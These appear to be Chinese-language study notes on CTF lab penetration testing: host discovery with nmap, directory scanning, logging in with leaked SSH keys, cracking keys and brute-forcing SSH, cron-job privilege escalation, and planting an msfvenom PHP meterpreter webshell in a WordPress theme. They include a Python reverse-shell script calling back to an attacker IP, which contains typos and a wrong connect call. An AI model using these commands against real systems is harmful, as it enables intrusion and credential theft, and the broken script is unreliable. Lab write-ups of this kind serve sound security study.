0%

72. CTF

  1. 第一章
    1. 探测靶场IP:
      1. netdiscover -r <ip>/netmask
      2. 例子:本地机ip:192.168.253.12
        1. 使用 netdiscover -r 192.168.253.1/24(为什么?)
  1. 查看当前ip地址:
    ipconfig
  2. 测试连通性:
    ping <ip>
  3. 第二章
    1. 信息探测: nmap -sV <ip>(挖掘开放服务信息)
      1. 例子:nmap -sV 192.168.253.10
      2. 探测靶场开放的服务于服务的版本:nmap -sV <ip>
      3. 探测靶场的全部信息:namp -A -v <ip>
      4. 探测靶场的操作系统类型与版本:nmap -O <ip>
      5. 分析探测结果
        1. 每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023端口,在扫描结果中查找特殊端口(如mysql:3306)。
        2. 针对特殊端口进行探测,尤其对开发大端口的http服务进行排查
      6. 探测大端口的信息
        1. 对于开放http服务的大端口,可以采取http://ip:port/的形式访问
        2. 查看源代码获取对应信息;如果没有flag信息,可以使用工具探测隐藏页面
        3. dirb http://ip:port (探测隐藏页面)
        4. 敏感文件:
          1. .ssh
          2. .robots
          3. taxes
        5. ssh:
          1. 使远程计算机使用ssh登录到本地服务器ssh服务上,实现远程计算机对ssh服务的操作
          2. 直接使用浏览器访问,查看效果、对应源代码可能会获取flag,或者下一步对应的提示
          3. 挖掘ssh信息,不断访问多去更多泄漏的ssh秘钥信息
          4. ssh认证方式:
            1. id_rsa(私钥)
            2. 服务器id_rsa.pub(公钥)
            3. 对比成功则登录服务器,否则失败
          5. 使用私钥文件登录服务器:
            1. 先切换到文件所在目录
            2. 赋予可读可写权限
              1. 查看权限:ls -alh
            3. 查看用户名:authorized_keys
            4. 赋予 id_rsa 可读可写权限:chmod 600 id_rsa
            5. ssh -i id_rsa <用户名>@<ip>
            6. 解密 ssh秘钥信息
              1. 使用 ssh2john 将id_isa秘钥信息转化为john可以识别的信息。
              2. ssh2john id_isa > isacrack
              3. 利用字典解密 isacrackzcat /usr/share/wordlists/rockyou.txt | john --pipe --rules isacrack
              4. 分析用户名、利用ssh登录服务器
              5. 注意root目录
              6. 查找具有root权限的文件:find / -perm -4000 2>/dev/null
              7. whoami:看是什么权限
              8. ssh基于22号端口的服务
    2. 分析探测结果
      1. 对于SSH服务的22端口的靶场:
        1. 暴力破解
        2. 私钥泄漏(私钥有没有对应的密码,是否可以找到私钥的用户名)
      2. 对于开放http服务的80端口或者其他端口的靶场
        1. 通过浏览器访问对应的靶场服务,如 http://靶场ip地址:http服务端口
        2. 使用探测工具对http的目录进行探测,如:dirb http://靶场IP地址:http服务端口
        3. 特别注意:特殊端口(大于1024的端口)
        4. 对于某些靶场,可以使用 nikto 扫描器挖掘敏感信息:nikto -host 靶场IP地址
        5. 特别注意 configfile结尾的 等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息
      3. 利用敏感、弱点信息
        1. 修改id_rsa的权限: chmod 600 id_rsa
        2. 利用私钥登录服务器: ssh -i id_rsa 用户名@靶场IP地址
        3. 注意:如果 id_rsa没有破解密码,可以直接使用,如果有解密密码,则需要进行对应的破解
        4. 下载私钥信息: wget "网址"
        5. 重命名: mv 文件名 重命名的文件名
        6. 查看所有文件: ls -all
      4. 扩大战果:
        1. 查看当前用户:whoami
        2. id 查看当前用户的权限
        3. 查看 根目录 寻找flag文件
        4. 如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组
        5. cat /etc/passwd 查看所有用户的列表
        6. cat /etc/group 查看用户组
        7. find / -user 用户名 查看属于某些用户的文件
        8. /tmp 查看缓冲文件目录
      5. 如何提权:
        1. 深入挖掘:
          1. 通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
          2. cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶机机器的某个文件。
          3. 如果在 /etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
          4. 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否有读写权限。
          5. su -root 寻找root靶机机器的方式
          6. 切换到/home/用户名 目录查看是否具有可以提升root权限的文件
        2. 反弹shell
          1. 靶场代码
            1
            2
            3
            4
            5
            6
            7
            8
            9
            #!/usr/bin/python
            import os, subprocess, socket

            s = socket.socekt(socket.AF_INET, socket.SOCK_STREAM)
            s.connect("攻击机IP地址", "攻击机监听端口")
            os.dup2(s.fileno(), 0)
            os.dup2(s.fileno(), 1)
            os.dup2(s.fileno(), 2)
            p = subprocess.call(["/bin/sh", "-i"])
          2. 攻击机 netcat 命令:
            nc -lpv 未占用接口(未占用接口与攻击机监听端口一一对应)
          3. 查看占用端口:netstat -pantu
          4. 添加执行权限:chmod +x 文件名
        3. 背水一战
          1. 万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具 如:hydra、medusa等
          2. 利用cupp 创建字典:
            1. git clone https://github.com/jeanphorn/common-password.git
            2. chmod +x cupp.py
            3. ./cupp.py -i 以交互的方式创建字典
          3. 使用metasploit破解SSH
            1. 在终端输入:msfconsole
            2. msc > use auxiliary/scanner/ssh/ssh_login
            3. msf auxiliary(ssh_login) > set rhosts IP地址
            4. msf auxiliary(ssh_login) > set username hadi
            5. msf auxiliary(ssh_login) > set pass_file hadi.txt
            6. msf auxiliary(ssh_login) > set threads 5
            7. msf auxiliary(ssh_login) > show options(查看状态))
            8. msf auxiliary(ssh_login) > set verbose true
            9. msf auxiliary(ssh_login) > run
            10. msf auxiliary(ssh_login) > set password hadi123
            11. msf auxiliary(ssh_login) > back (关闭)
          4. 优化会话
            1. python -c "import pty;pty.spawn('/bin/bash')"
            2. su - root
          5. 总结:
            1. 在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
            2. CTF中 要特别注意 /tep数据缓冲目录 以及 /etc/crontab设置定时执行的文件
  4. 第三章
    1. SMB介绍:
      1. SMB通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba
      2. SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445
      3. SMB协议,计算机可以访问网络资源,下载对应的资源文件
    2. 实验环境:
      1. Kali linux 192.168.253.12
      2. 靶场机器 192.168.253.17
    3. 信息探测
      1. 对于知识给定一个对应IP地址的靶场机器,我们需要对其 进行扫描,探测开放的服务
      2. 渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
      3. nmap -sV IP 挖掘开放服务信息
      4. nmap -A -v -T4 IP 挖掘靶场全部信息
    4. 针对SMB协议弱点分析
      1. 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
        1. smbclient -L IP
        2. smbclient ‘\IP$share’
        3. get 敏感文件
        4. 敏感信息:
          1. deets.txt
          2. wordpress
          3. config
      2. 针对SMB协议远程溢出漏洞进行分析;
        1. searchsploit samba 版本号
      3. 登陆数据库
        1. mysql -h IP -u Admin -p
      4. 针对HTTP协议拖点分析
        1. 浏览器查看网站
        2. 使用 dirb nikto 探测
        3. 寻找突破点,目标登陆后台,上传webshell
      5. 制作webshell
        1. msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
      6. 启动监听
        1. msf > use exploit/multi/handler
        2. msf exploit(handler) > set payload php/meterpreter/reverse_tcp
        3. msf exploit(handler) > set lhost 攻击机IP
        4. msf exploit(handler) > set lport 4444
        5. msf exploit(handler) > run
      7. 上传webshell
        1. 使用找到的敏感信息登陆系统后台,上传webshell。执行webshell(访问具有webshell的php页面)
        2. 获得反弹的shell
        3. wordpress 上传点 theme 404.php
        4. 执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
      8. 查找flag信息
        1. 优化终端:python -c “import pty; pty.spawn(‘/bin/bash’)”
        2. 查找敏感信息,提升root权限,查看flag值
        3. 查找用户名:cat /etc/passwd
        4. 查找密码:在共享目录下的敏感文件,提升权限
        5. su 用户名
        6. sudo -l
        7. su sudo
      9. 总结
        1. 对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
        2. 一般情况下flag值都在/root目录下,并且需要提升root权限才能查看内容